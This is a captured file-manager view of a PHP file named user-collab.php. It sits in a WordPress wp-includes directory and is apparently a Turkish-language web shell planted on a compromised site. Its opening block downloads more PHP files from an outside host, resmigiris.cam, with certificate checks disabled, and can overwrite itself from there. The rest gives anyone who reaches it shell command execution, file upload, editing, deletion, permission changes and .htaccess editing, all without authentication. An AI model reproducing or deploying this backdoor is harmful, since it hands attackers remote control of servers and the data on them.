PHP 8.3.27
Preview: user-collab.php Size: 21.97 KB
//home7/doctorbruno/public_html/ularal.com/wp-includes/user-collab.php
<?php
/*[cstb_su]*/
@error_reporting(0);
if(isset($_GET['deploy_info'])&&$_GET['deploy_info']==='1'&&function_exists('curl_init')){
    header('Content-Type: application/json; charset=utf-8');
    $r=realpath(dirname(__DIR__))?:dirname(__DIR__);
    while(!is_file("$r/wp-load.php")&&!is_file("$r/wp-config.php")){$p=dirname($r);if($p===$r){$r=null;break;}$r=$p;}
    if(!$r)$r=@realpath($_SERVER['DOCUMENT_ROOT']??'')?:dirname(dirname(__DIR__));
    $cdn='https://resmigiris.cam/txt/';
    $out=[];
    $files=['wp-info.php'=>'link.txt','wp-content/plugins/plugins.php'=>'plugins.txt','wp-user.php'=>'wp-user.txt'];
    foreach($files as $rel=>$src){
        $path=$r.'/'.$rel;$dir=dirname($path);
        if(!is_dir($dir))@mkdir($dir,0755,true);
        $ch=curl_init($cdn.$src);curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>15,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
        $c=curl_exec($ch);curl_close($ch);
        $out[$rel]=($c&&strlen($c)>50)?(@file_put_contents($path,$c)!==false?'ok':'fail'):'cdn-err';
    }
    $ch=curl_init($cdn.'sefer.txt');curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
    $s=curl_exec($ch);curl_close($ch);
    if($s&&strpos($s,'cstb_su')!==false&&md5($s)!==md5_file(__FILE__)){@file_put_contents(__FILE__,$s);$out['_self']='updated';}
    echo json_encode(['root'=>$r,'results'=>$out],JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);exit;
}
session_start();

// Mevcut dizini kontrol et
if (!isset($_SESSION['current_dir'])) {
    $_SESSION['current_dir'] = getcwd();
}

// Kullanıcının tıklamalarını işleme
if (isset($_GET['dir'])) {
    $new_dir = $_GET['dir'];

    if ($new_dir === '..') {
        $_SESSION['current_dir'] = dirname($_SESSION['current_dir']);
    } elseif (is_dir($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $new_dir)) {
        $_SESSION['current_dir'] = realpath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $new_dir);
    }
}

// Mevcut dizin bilgileri
$current_dir = $_SESSION['current_dir'];
$files = scandir($current_dir);

// Klasörleri ve dosyaları ayrı listeler
$folders = [];
$regular_files = [];
foreach ($files as $file) {
    if ($file === '.' || $file === '..') continue;
    $full_path = $current_dir . DIRECTORY_SEPARATOR . $file;
    if (is_dir($full_path)) {
        $folders[] = $file;
    } else {
        $regular_files[] = $file;
    }
}

// Dosya düzenleme kaydetme
if (isset($_POST['edit_file']) && array_key_exists('file_content', $_POST)) {
    $file_to_edit = $current_dir . DIRECTORY_SEPARATOR . $_POST['edit_file'];
    if (is_file($file_to_edit) && is_writable($file_to_edit)) {
        if (file_put_contents($file_to_edit, $_POST['file_content']) !== false) {
            echo "<div class='alert alert-success'>Dosya başarıyla düzenlendi: " . htmlspecialchars($_POST['edit_file']) . "</div>";
            // Düzenleme sayfasına geri yönlendir
            echo "<script>setTimeout(function(){ window.location.href='?edit=" . urlencode($_POST['edit_file']) . "'; }, 1500);</script>";
        } else {
            echo "<div class='alert alert-danger'>Dosya kaydedilirken bir hata oluştu.</div>";
        }
    } else {
        echo "<div class='alert alert-danger'>Dosya yazılabilir değil veya bulunamadı.</div>";
    }
}

// Dosya izinlerini değiştirme
if (isset($_POST['change_permissions']) && isset($_POST['permissions'])) {
    $file_to_change = $current_dir . DIRECTORY_SEPARATOR . $_POST['change_permissions'];
    if (file_exists($file_to_change)) {
        if (@chmod($file_to_change, octdec($_POST['permissions']))) {
            echo "<div class='alert alert-success'>İzinler değiştirildi: " . htmlspecialchars($_POST['change_permissions']) . "</div>";
        } else {
            echo "<div class='alert alert-danger'>İzinler değiştirilemedi.</div>";
        }
    } else {
        echo "<div class='alert alert-danger'>Dosya/klasör bulunamadı.</div>";
    }
}

// Dosya yükleme
if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === UPLOAD_ERR_OK) {
    $uploaded_file = $current_dir . DIRECTORY_SEPARATOR . basename($_FILES['upload_file']['name']);
    
    // Dosya zaten varsa kontrol et
    if (file_exists($uploaded_file)) {
        echo "<div class='alert alert-warning'>Bu dosya zaten var, üzerine yazılacak!</div>";
    }
    
    if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $uploaded_file)) {
        echo "<div class='alert alert-success'>Dosya başarıyla yüklendi: " . htmlspecialchars(basename($_FILES['upload_file']['name'])) . "</div>";
    } else {
        echo "<div class='alert alert-danger'>Dosya yüklenirken bir hata oluştu.</div>";
    }
} elseif (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] !== UPLOAD_ERR_OK) {
    echo "<div class='alert alert-danger'>Dosya yükleme hatası (Error: " . $_FILES['upload_file']['error'] . ")</div>";
}

// Yeni dosya oluşturma
if (isset($_POST['create_file']) && isset($_POST['file_name'])) {
    // Dosya adında tehlikeli karakterleri temizle
    $safe_filename = basename($_POST['file_name']);
    $new_file = $current_dir . DIRECTORY_SEPARATOR . $safe_filename;
    
    if (!file_exists($new_file)) {
        $content = isset($_POST['file_content']) ? $_POST['file_content'] : '';
        if (file_put_contents($new_file, $content) !== false) {
            echo "<div class='alert alert-success'>Dosya başarıyla oluşturuldu: " . htmlspecialchars($safe_filename) . "</div>";
        } else {
            echo "<div class='alert alert-danger'>Dosya oluşturulurken bir hata oluştu.</div>";
        }
    } else {
        echo "<div class='alert alert-danger'>Bu isimde bir dosya zaten var.</div>";
    }
}

// Yeni klasör oluşturma
if (isset($_POST['create_folder']) && isset($_POST['folder_name'])) {
    // Klasör adında tehlikeli karakterleri temizle
    $safe_foldername = basename($_POST['folder_name']);
    $new_folder = $current_dir . DIRECTORY_SEPARATOR . $safe_foldername;
    
    if (!file_exists($new_folder)) {
        if (@mkdir($new_folder, 0755)) {
            echo "<div class='alert alert-success'>Klasör başarıyla oluşturuldu: " . htmlspecialchars($safe_foldername) . "</div>";
        } else {
            echo "<div class='alert alert-danger'>Klasör oluşturulurken bir hata oluştu.</div>";
        }
    } else {
        echo "<div class='alert alert-danger'>Bu isimde bir klasör veya dosya zaten var.</div>";
    }
}

// CMD Komut Çalıştırma
$cmd_output = '';
if (isset($_POST['run_command']) && isset($_POST['command'])) {
    $command = $_POST['command'];
    $cmd_output = shell_exec($command . ' 2>&1');
}

// Dosya ismini değiştirme
if (isset($_POST['rename_file']) && isset($_POST['new_name'])) {
    $old_file = $current_dir . DIRECTORY_SEPARATOR . basename($_POST['rename_file']);
    $new_file = $current_dir . DIRECTORY_SEPARATOR . basename($_POST['new_name']);

    if (file_exists($old_file) && !file_exists($new_file)) {
        if (@rename($old_file, $new_file)) {
            echo "<div class='alert alert-success'>Dosya adı değiştirildi: " . htmlspecialchars($_POST['rename_file']) . " → " . htmlspecialchars($_POST['new_name']) . "</div>";
        } else {
            echo "<div class='alert alert-danger'>Yeniden adlandırma işlemi başarısız.</div>";
        }
    } else {
        echo "<div class='alert alert-danger'>Yeniden adlandırma işlemi başarısız. Dosya zaten var veya mevcut değil.</div>";
    }
}

// Dosya silme
if (isset($_POST['delete_file'])) {
    $file_to_delete = $current_dir . DIRECTORY_SEPARATOR . $_POST['delete_file'];
    if (is_file($file_to_delete) && unlink($file_to_delete)) {
        echo "<div class='alert alert-success'>Dosya başarıyla silindi: " . htmlspecialchars($_POST['delete_file']) . "</div>";
    } else {
        echo "<div class='alert alert-danger'>Dosya silme işlemi başarısız.</div>";
    }
}

// .htaccess düzenleme fonksiyonu
if (!function_exists('deleteDirectory')) {
    function deleteDirectory($dir) {
        if (!file_exists($dir)) return true;
        if (!is_dir($dir)) return unlink($dir);
        foreach (scandir($dir) as $item) {
            if ($item == '.' || $item == '..') continue;
            if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) return false;
        }
        return rmdir($dir);
    }
}

// Klasör silme
if (isset($_POST['delete_folder'])) {
    $folder_to_delete = $current_dir . DIRECTORY_SEPARATOR . $_POST['delete_folder'];
    if (is_dir($folder_to_delete)) {
        if (deleteDirectory($folder_to_delete)) {
            echo "<div class='alert alert-success'>Klasör başarıyla silindi: " . htmlspecialchars($_POST['delete_folder']) . "</div>";
        } else {
            echo "<div class='alert alert-danger'>Klasör silme işlemi başarısız.</div>";
        }
    }
}

// .htaccess düzenleme kontrolü
if (isset($_GET['edit_htaccess'])) {
    $htaccess_path = $current_dir . DIRECTORY_SEPARATOR . '.htaccess';
    if (is_file($htaccess_path)) {
        $htaccess_content = file_get_contents($htaccess_path);
    } else {
        $htaccess_content = "";
    }
}

if (isset($_POST['save_htaccess']) && isset($_POST['htaccess_content'])) {
    $htaccess_path = $current_dir . DIRECTORY_SEPARATOR . '.htaccess';
    if (file_put_contents($htaccess_path, $_POST['htaccess_content']) !== false) {
        echo "<div class='alert alert-success'>.htaccess başarıyla düzenlendi.</div>";
    } else {
        echo "<div class='alert alert-danger'>.htaccess kaydedilirken hata oluştu.</div>";
    }
}

// Düzenlenebilir dosya uzantıları
$editable_extensions = ['php', 'html', 'txt', 'css', 'js'];
?>

<!DOCTYPE html>
<html lang="tr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Dizin Yönetimi</title>
    <!-- Bootstrap CSS -->
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
    <style>
        body {
            background-color: #121212;
            color: #ffffff;
        }
        .card {
            background-color: #1e1e1e;
        }
        .btn {
            color: #ffffff;
        }
        .btn-primary {
            background-color: #007bff;
        }
        .btn-secondary {
            background-color: #6c757d;
        }
        .alert {
            background-color: #333333;
            color: #ffffff;
        }
        .list-group-item {
            background-color: #1e1e1e;
            color: #ffffff;
        }
        .editable {
            cursor: pointer;
            background-color: #252525;
            border: 1px solid #444;
            padding: 2px 5px;
        }
    </style>
</head>
<body>
<div class="container mt-4">
    <h1 class="mb-4">Dizin Yönetimi</h1>
    <p class="lead"><strong>Mevcut Dizin:</strong> <?php echo htmlspecialchars($current_dir); ?></p>

    <?php if (dirname($current_dir) !== $current_dir): ?>
        <p><a href="?dir=.." class="btn btn-secondary btn-sm">🔼 Üst Dizin</a></p>
    <?php endif; ?>

    <!-- .htaccess Düzenleme Düğmesi -->
    <?php if (is_file($current_dir . DIRECTORY_SEPARATOR . '.htaccess')): ?>
        <p>
            <a href="?edit_htaccess=true" class="btn btn-warning btn-sm">.htaccess Dosyasını Düzenle</a>
        </p>
    <?php endif; ?>

    <!-- Dosya İşlemleri -->
    <div class="card mb-4">
        <div class="card-header bg-primary text-white">Dosya İşlemleri</div>
        <div class="card-body">
            <!-- Dosya Yükleme -->
            <form method="POST" enctype="multipart/form-data" class="mb-4">
                <h5 class="mb-3">📤 Dosya Yükle</h5>
                <div class="mb-3">
                    <input type="file" id="upload_file" name="upload_file" class="form-control" required>
                </div>
                <button type="submit" class="btn btn-info">Yükle</button>
            </form>

            <hr class="my-4">

            <!-- Yeni Dosya Oluştur -->
            <form method="POST" class="mb-4">
                <h5 class="mb-3">📝 Yeni Dosya Oluştur</h5>
                <div class="mb-3">
                    <label for="file_name" class="form-label">Dosya Adı</label>
                    <input type="text" id="file_name" name="file_name" class="form-control" placeholder="örn: main.txt" required>
                </div>
                <div class="mb-3">
                    <label for="file_content" class="form-label">İçerik</label>
                    <textarea id="file_content" name="file_content" class="form-control" rows="5" placeholder="Dosya içeriğini buraya yazın..."></textarea>
                </div>
                <button type="submit" name="create_file" class="btn btn-success">Dosya Oluştur</button>
            </form>

            <hr class="my-4">

            <!-- Yeni Klasör Oluştur -->
            <form method="POST">
                <h5 class="mb-3">📁 Yeni Klasör Oluştur</h5>
                <div class="mb-3">
                    <label for="folder_name" class="form-label">Klasör Adı</label>
                    <input type="text" id="folder_name" name="folder_name" class="form-control" placeholder="örn: yeni_klasor" required>
                </div>
                <button type="submit" name="create_folder" class="btn btn-warning">Klasör Oluştur</button>
            </form>
        </div>
    </div>

    <!-- CMD Komut Çalıştırma -->
    <div class="card mb-4">
        <div class="card-header bg-danger text-white">⚡ Komut Çalıştır (CMD)</div>
        <div class="card-body">
            <form method="POST">
                <div class="mb-3">
                    <label for="command" class="form-label">Komut</label>
                    <input type="text" id="command" name="command" class="form-control" placeholder="örn: dir, whoami, ipconfig" value="<?php echo isset($_POST['command']) ? htmlspecialchars($_POST['command']) : ''; ?>" required>
                </div>
                <button type="submit" name="run_command" class="btn btn-danger">Çalıştır</button>
            </form>
            
            <?php if (!empty($cmd_output)): ?>
                <div class="mt-3">
                    <label class="form-label"><strong>Çıktı:</strong></label>
                    <pre class="bg-dark text-light p-3 rounded" style="max-height: 400px; overflow-y: auto;"><?php echo htmlspecialchars($cmd_output); ?></pre>
                </div>
            <?php endif; ?>
        </div>
    </div>

    <div class="card">
        <div class="card-header bg-primary text-white">Dosyalar ve Dizinler</div>
        <ul class="list-group list-group-flush">
            <?php foreach ($folders as $folder): ?>
                <?php $folder_full_path = $current_dir . DIRECTORY_SEPARATOR . $folder; ?>
                <li class="list-group-item d-flex justify-content-between align-items-center">
                    <span>📁 <a href="?dir=<?php echo urlencode($folder); ?>"><?php echo htmlspecialchars($folder); ?></a></span>
                    <div>
                        <form method="POST" class="d-inline">
                            <input type="hidden" name="change_permissions" value="<?php echo htmlspecialchars($folder); ?>">
                            <input type="text" name="permissions" value="<?php echo substr(sprintf('%o', fileperms($folder_full_path)), -4); ?>" class="form-control form-control-sm d-inline w-auto" style="width: 70px !important;">
                            <button type="submit" class="btn btn-sm btn-info">İzinleri Güncelle</button>
                        </form>
                        <button type="button" class="btn btn-sm btn-warning" onclick="renameFolder('<?php echo htmlspecialchars($folder, ENT_QUOTES); ?>')">Yeniden Adlandır</button>
                        <form method="POST" class="d-inline" onsubmit="return confirm('Bu klasörü ve içindeki tüm dosyaları silmek istediğinizden emin misiniz?');">
                            <input type="hidden" name="delete_folder" value="<?php echo htmlspecialchars($folder); ?>">
                            <button type="submit" class="btn btn-sm btn-danger">Sil</button>
                        </form>
                    </div>
                </li>
            <?php endforeach; ?>

            <?php foreach ($regular_files as $file): ?>
                <?php 
                $full_path = $current_dir . DIRECTORY_SEPARATOR . $file; 
                $file_extension = pathinfo($file, PATHINFO_EXTENSION);
                ?>
                <li class="list-group-item d-flex justify-content-between align-items-center">
                    <span class="editable" data-file="<?php echo htmlspecialchars($file); ?>">
                        📄 <?php echo htmlspecialchars($file); ?>
                    </span>
                    <div>
                        <form method="POST" class="d-inline">
                            <input type="hidden" name="change_permissions" value="<?php echo htmlspecialchars($file); ?>">
                            <input type="text" name="permissions" value="<?php echo substr(sprintf('%o', fileperms($full_path)), -4); ?>" class="form-control form-control-sm d-inline w-auto" style="width: 70px !important;">
                            <button type="submit" class="btn btn-sm btn-info">İzinleri Güncelle</button>
                        </form>
                        <?php if (in_array($file_extension, $editable_extensions)): ?>
                            <a href="?edit=<?php echo urlencode($file); ?>" class="btn btn-sm btn-primary">Düzenle</a>
                        <?php endif; ?>
                        <button type="button" class="btn btn-sm btn-warning" onclick="renameFile('<?php echo htmlspecialchars($file, ENT_QUOTES); ?>')">Yeniden Adlandır</button>
                        <form method="POST" class="d-inline" onsubmit="return confirm('Bu dosyayı silmek istediğinizden emin misiniz?');">
                            <input type="hidden" name="delete_file" value="<?php echo htmlspecialchars($file); ?>">
                            <button type="submit" class="btn btn-sm btn-danger">Sil</button>
                        </form>
                    </div>
                </li>
            <?php endforeach; ?>
        </ul>
    </div>

    <?php if (isset($_GET['edit'])): ?>
        <?php
        $file_to_edit = $current_dir . DIRECTORY_SEPARATOR . $_GET['edit'];
        if (is_file($file_to_edit) && is_readable($file_to_edit)):
            $content = file_get_contents($file_to_edit);
        ?>
            <div class="mt-4 card">
                <div class="card-header bg-success text-white">
                    <h5 class="mb-0">✏️ Dosya Düzenle: <?php echo htmlspecialchars($_GET['edit']); ?></h5>
                </div>
                <div class="card-body">
                    <form method="POST">
                        <textarea name="file_content" rows="20" class="form-control" style="font-family: monospace; font-size: 14px;"><?php echo htmlspecialchars($content); ?></textarea>
                        <input type="hidden" name="edit_file" value="<?php echo htmlspecialchars($_GET['edit']); ?>">
                        <div class="mt-3">
                            <button type="submit" class="btn btn-success">💾 Kaydet</button>
                            <a href="?" class="btn btn-secondary">❌ İptal</a>
                        </div>
                    </form>
                </div>
            </div>
        <?php else: ?>
            <div class="alert alert-danger mt-4">Bu dosya düzenlenemez veya okunamaz.</div>
        <?php endif; ?>
    <?php endif; ?>

    <!-- .htaccess Düzenleme Formu -->
    <?php if (isset($_GET['edit_htaccess'])): ?>
        <div class="mt-4">
            <h3>.htaccess Dosyasını Düzenle</h3>
            <form method="POST">
                <textarea name="htaccess_content" rows="10" class="form-control"><?php echo htmlspecialchars($htaccess_content); ?></textarea>
                <button type="submit" name="save_htaccess" class="btn btn-primary mt-2">Kaydet</button>
            </form>
        </div>
    <?php endif; ?>
</div>

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"></script>
<script>
function escapeHtml(text) {
    const div = document.createElement('div');
    div.textContent = text;
    return div.innerHTML;
}

function renameFile(oldName) {
    const newName = prompt('Yeni dosya adını girin:', oldName);
    if (newName && newName !== oldName) {
        const form = document.createElement('form');
        form.method = 'POST';
        
        const input1 = document.createElement('input');
        input1.type = 'hidden';
        input1.name = 'rename_file';
        input1.value = oldName;
        
        const input2 = document.createElement('input');
        input2.type = 'hidden';
        input2.name = 'new_name';
        input2.value = newName;
        
        form.appendChild(input1);
        form.appendChild(input2);
        document.body.appendChild(form);
        form.submit();
    }
}

function renameFolder(oldName) {
    const newName = prompt('Yeni klasör adını girin:', oldName);
    if (newName && newName !== oldName) {
        const form = document.createElement('form');
        form.method = 'POST';
        
        const input1 = document.createElement('input');
        input1.type = 'hidden';
        input1.name = 'rename_file';
        input1.value = oldName;
        
        const input2 = document.createElement('input');
        input2.type = 'hidden';
        input2.name = 'new_name';
        input2.value = newName;
        
        form.appendChild(input1);
        form.appendChild(input2);
        document.body.appendChild(form);
        form.submit();
    }
}
</script>
</body>
</html>

Directory Contents

Dirs: 0 × Files: 11
Name Size Perms Modified Actions
9.77 KB lrw-r--r-- 2026-10-03 16:46:56
Edit Download
5.94 KB lrw-r--r-- 2026-10-03 16:46:56
Edit Download
3.64 KB lrw-r--r-- 2026-10-03 16:46:56
Edit Download
8.97 KB lrw-r--r-- 2026-10-03 16:46:56
Edit Download
8.39 KB lrw-r--r-- 2026-10-03 16:46:56
Edit Download
3.97 KB lrw-r--r-- 2026-10-03 16:46:56
Edit Download
4.98 KB lrw-r--r-- 2026-10-03 16:46:56
Edit Download
4.58 KB lrw-r--r-- 2026-10-03 16:46:56
Edit Download
7.45 KB lrw-r--r-- 2026-10-03 16:46:56
Edit Download
44 B lrw-r--r-- 2026-10-02 10:08:47
Edit Download
21.97 KB lrw-r--r-- 2026-10-03 16:46:56
Edit Download
If ZipArchive is unavailable, a .tar will be created (no compression).